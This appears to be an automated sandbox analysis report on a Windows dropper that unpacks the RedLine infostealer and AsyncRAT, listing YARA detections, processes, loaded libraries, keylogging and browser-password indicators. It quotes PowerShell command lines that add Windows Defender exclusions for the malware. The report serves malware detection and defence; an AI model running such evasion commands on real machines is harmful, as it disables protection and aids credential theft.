Source: wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: powershell.exe, 0000000A.00000002.1759686805.000002174EF13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49745 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: YsrQekGS.exe.0.dr, XLogger.cs

.Net Code: KeyboardLayout

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.0.YsrQekGS.exe.4b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: wjoqZlIS.exe PID: 6528, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_00406894: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00406894

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00417AED	0_2_00417AED
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00401D01	0_2_00401D01
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0042702C	0_2_0042702C
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041A974	0_2_0041A974
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040497E	0_2_0040497E
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040C9D5	0_2_0040C9D5
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_004281AC	0_2_004281AC
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_004169B4	0_2_004169B4
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041BA49	0_2_0041BA49
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041B21D	0_2_0041B21D
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041F284	0_2_0041F284
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041429D	0_2_0041429D
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00427AB4	0_2_00427AB4
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00415B20	0_2_00415B20
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040C3B1	0_2_0040C3B1
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_004143B9	0_2_004143B9
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00413C71	0_2_00413C71
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_004104A9	0_2_004104A9
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00427570	0_2_00427570
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041AE49	0_2_0041AE49
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00405608	0_2_00405608
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040C608	0_2_0040C608
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041B629	0_2_0041B629
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_004146D4	0_2_004146D4
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00402F24	0_2_00402F24
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0040FF2D	0_2_0040FF2D
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00428FF1	0_2_00428FF1
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_012EE7B0	2_2_012EE7B0
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_012EDC90	2_2_012EDC90
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_06544368	2_2_06544368
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_06543760	2_2_06543760
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_065497B0	2_2_065497B0
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_0654D7B0	2_2_0654D7B0
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_06541210	2_2_06541210
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Code function: 2_2_0654D2A8	2_2_0654D2A8
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B276F86	4_2_00007FFD9B276F86
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B277D32	4_2_00007FFD9B277D32
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B278588	4_2_00007FFD9B278588
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B2737F2	4_2_00007FFD9B2737F2
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B273655	4_2_00007FFD9B273655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B3830E9	13_2_00007FFD9B3830E9

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe 3091E2ABFB55D05D6284B6C4B058B62C8C28AFC1D883B699E9A2B5482EC6FD51

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: String function: 0041F84C appears 37 times
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: String function: 0041A250 appears 37 times
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: String function: 0041A860 appears 47 times

Source: Ekpb7jn7mf.exe, 00000000.00000003.1668539137.00000000006DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCALC.EXEj% vs Ekpb7jn7mf.exe
Source: Ekpb7jn7mf.exe, 00000000.00000002.1670344761.00000000006DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCALC.EXEj% vs Ekpb7jn7mf.exe
Source: Ekpb7jn7mf.exe, 00000000.00000003.1667476911.00000000006DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCALC.EXEj% vs Ekpb7jn7mf.exe
Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameretest.exe4 vs Ekpb7jn7mf.exe
Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs Ekpb7jn7mf.exe

Source: Ekpb7jn7mf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.0.YsrQekGS.exe.4b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: wjoqZlIS.exe PID: 6528, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: YsrQekGS.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: YsrQekGS.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: YsrQekGS.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: YsrQekGS.exe.0.dr, Settings.cs

Base64 encoded string: 'OvIq3p/is46tW6jYGf6J298wGKVnNDD+Q2jMC9umDUXxUFGs+v2lXZqpyZYLPXWp', 'pxd6c+vbo7J2E6lUd3a2wKCIlIC2gxvRYuDZ7sQjEHLV31h+0MRraKVVx1LSrTHV'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@15/57@3/3

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_004064DD GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

0_2_004064DD

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_00419925 CoCreateInstance,

0_2_00419925

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Mutant created: \Sessions\1\BaseNamedObjects\BjImkAWMcrtpfpkF
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6674281

Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Command line argument: sfxname		0_2_0040FCFB
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Command line argument: STARTDLG		0_2_0040FCFB

Source: Ekpb7jn7mf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpC5A4.tmp.2.dr, tmpC593.tmp.2.dr, tmpC582.tmp.2.dr, tmpC572.tmp.2.dr, tmpC594.tmp.2.dr, tmpC5A5.tmp.2.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Ekpb7jn7mf.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

File read: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ekpb7jn7mf.exe "C:\Users\user\Desktop\Ekpb7jn7mf.exe"
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe "C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe"
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe "C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe"
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe"
Source: unknown	Process created: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'YsrQekGS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe "C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe "C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'YsrQekGS.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: policymanager.dll	Jump to behavior
